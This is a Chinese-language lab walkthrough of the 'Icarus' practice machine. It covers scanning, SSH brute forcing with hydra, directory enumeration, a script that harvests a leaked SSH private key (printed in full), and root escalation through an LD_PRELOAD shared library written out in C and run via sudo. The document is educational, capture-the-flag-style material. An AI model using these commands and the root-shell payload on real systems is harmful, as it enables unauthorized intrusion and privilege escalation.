红队专项·Icarus
字数 1347 2025-08-10 20:35:57
Icarus渗透测试实战教学文档
信息收集阶段
网络扫描
-
初始扫描:
- 命令:
nmap -sT --min-rate 10000 -p- 192.168.56.0/24 - 发现目标IP:192.168.56.101
- 开放端口:22(SSH)、80(HTTP)
- 命令:
-
详细扫描:
- 命令:
nmap -sT -sV -sC -A -p22,80 192.168.56.101 - 发现服务版本:
- SSH: OpenSSH 7.9p1 Debian 10+deb10u2
- HTTP: nginx 1.14.2
- 操作系统:Linux
- 命令:
服务渗透
SSH服务渗透尝试
- 使用hydra进行爆破:
- 命令:
hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.101 -t 4 - 结果:爆破未成功
- 命令:
HTTP服务渗透
-
目录爆破:
- 工具:dirsearch
- 命令:
dirsearch -u http://192.168.56.101/ - 发现敏感目录:
- /a (200)
- /check.php (200)
- /index.php (200)
- /login.php (302重定向到index.php)
- /xml (200)
-
Web应用程序探测:
- 工具:whatweb
- 命令:
whatweb http://192.168.56.101 - 发现:HTML5、nginx/1.14.2、登录表单(password字段)
-
SQL注入尝试:
- 使用sqlmap:
- 命令:
sqlmap --random-agent -r sql --batch - 结果:失败
-
私钥泄露发现:
- 通过/a文件进行模糊测试发现所有下级目录返回200状态码
- 使用脚本批量获取内容:
for i in $(cat url); do curl "http://192.168.56.101/$i" >> curl.output; done - 或使用Python脚本:
import requests result = "" with open("curl") as fa: lines = fa.readlines() total = len(lines) count = 0 for line in lines: url = f"http://192.168.56.101/{line.strip()}" r = requests.get(url) r.encoding = 'utf-8' result += r.text count += 1 print(f"Now getting:{count}/{total}",end="\r") with open("curl.output","w") as fk: fk.write(result) print("\nAll done!") - 发现SSH私钥:
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn NhAAAAAwEAAQAAAQEA5xagxLiN5ObhPjNcs2I2ckcYrErKaunOwm40kTBnJ6vrbdRYHteS afNWC6xFFzwO77+Kze229eK4ddZcwmU0IdN02Y8nYrxhl8lOc+e5T0Ajz+tRmLGoxJVPsS TzKBERlWpKuJoGO/CEFLOv6PP6s79YYzZFpdUjaczY96jgICftzNZS+VkBXuLjKr79h4Tw z7BK4V6FEQY0hwT8NFfNrF3x3VPe0UstdiUJFl4QV/qAPlHVhPd0YUEPr/95mryjuGi1xw P7xVFrYyjLfPepqYHiS5LZxFewLWhhSjBOI0dzf/TwiNRnVGTZhB3GemgEIQRAam26jkZZ 3BxkrUVckQAAA8jfk7Jp35OyaQAAAAdzc2gtcnNhAAABAQDnFqDEuI3k5uE+M1yzYjZyRx isSspq6c7CbjSRMGcnq+tt1Fge15Jp81YLrEUXPA7vv4rN7bb14rh11lzCZTQh03TZjydiv GGXyU5z57lPQCPP61GYsajElU+xJPMoERGVakq4mgY78IQUs6/o8/qzv1hjNkWl1SNpzNj 3qOAgJ+3M1lL5WQFe4uMqvv2HhPDPsErhXoURBjSHBPw0V82sXfHdU97RSy12JQkWXhBX+ oA+UdWE93RhQQ+v/3mavKO4aLXHA/vFUWtjKMt896mpgeJLktnEV7AtaGFKME4jR3N/9PCI 1GdUZNmEHcZ6aAQhBEBqbbqORlncHGStRVyRAAAAAwEAAQAAAQEAvdjwMU1xfTlUmPY3VU P9ePsBwSIck6ML8t35H8KFLKln3C4USxpNNe/so+BeTo1PtBVHYpDFu9IMOvrl7+qW3qdL GyUpdUtQXhPK+RvJONt30GwB+BEUlpQYCW9SuHr1WCwfwPMA5iNdT2ijvx0ZvKwZYECJDY lB87yQDz7VCnRTiQGP2Mqiiwb7vPd/t386Y+cAz1cVl7BnHzWWJTUTkKCwijnvjYrD0otT QX4sGd6CrI44g+L8hnYuCZz+a0j6IyUfXJqj6l+/Z2Af7pJjbJD3P28xX7eY0h1Cec2l/s b7qg2wy0qJNywJ35l8bZzZKjkXztPLOqMFQ6Fh0BqSdQAAAIEAlaH0ZEzJsZoR3QqcKlxR KjVcuQCwcrKlNbJu2qRuUG812CLb9jJxJxacJPBV0NS832c+hZ3BiLtA5FwCiGlGq5m5HS 3odf3lLXDfIK+pur4OWKBNLDxKbqi4s4M05vR4gHkmotiH9eWlCNuqL46Ip5H1vFXeJMpL RLN0gqOGuQQAAACBAPfffuhidAgUZH/yTvATKC5lcGrE7bkpOq+6XMMgxEQl0Hzry76irG XkhTY4QUtthYo4+g7jiDzKlbeaS7aN8RYq38GzQnZZQcSdvL1yB/N554gQvzJLvmKQbmgL hMRcdDmifUelJYXib2Mjg/BLaRXaEzOomUKR2nyJH7VgU+xzAAAAgQDuqkBp44indqhxwrz bfeLnzQqpZ/rMZXGcvJUttECRbLRfohUftFE5J0PKuT8w0dpacNCVgkT9A0Tc3xRfkyECB QjeKLvdhcufJhQl0pdXDt1cpebE50LE4yHc8vR6FEjhR4P2AbGICJyRS7AX7UnrOWdUIE3 FeNP0r5UiSDq16wAAAA1pY2FydXNAaWNhcnVzAQIDBA== -----END OPENSSH PRIVATE KEY-----
-
分析私钥:
- 命令:
ssh-keygen -y -f id_rsa - 输出公钥并发现用户名:icarus@icarus
- 命令:
-
SSH登录:
- 使用私钥登录:
chmod 600 id_rsa ssh -i id_rsa icarus@192.168.56.101 - 成功获取user权限的flag
- 使用私钥登录:
权限提升
-
检查sudo权限:
- 命令:
sudo -l - 发现:
- env_keep+=LD_PRELOAD
- 允许以root身份执行/usr/bin/id
- 命令:
-
LD_PRELOAD提权:
- 创建C脚本shell.c:
#include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); } - 编译为共享库:
gcc -fPIC -shared -o shell.so shell.c -nostartfiles - 执行提权:
sudo LD_PRELOAD=/tmp/shell.so id - 成功获取root shell,可读取root权限的flag
- 创建C脚本shell.c:
关键知识点总结
-
信息收集:
- 使用nmap进行网络扫描和版本探测
- 目录爆破工具的使用(dirsearch)
-
Web渗透:
- 敏感文件泄露的发现和利用
- 批量获取web内容的脚本编写
-
SSH私钥利用:
- 私钥格式识别
- 使用ssh-keygen分析私钥
- 使用私钥进行SSH认证
-
权限提升:
- sudo -l检查sudo权限
- LD_PRELOAD环境变量提权原理
- 编写和编译共享库进行提权
-
工具使用:
- nmap
- hydra
- dirsearch
- whatweb
- sqlmap
- ssh-keygen
- gcc编译共享库
参考资源
- LD_PRELOAD提权原理
- OpenSSH私钥格式分析
- Linux共享库编译方法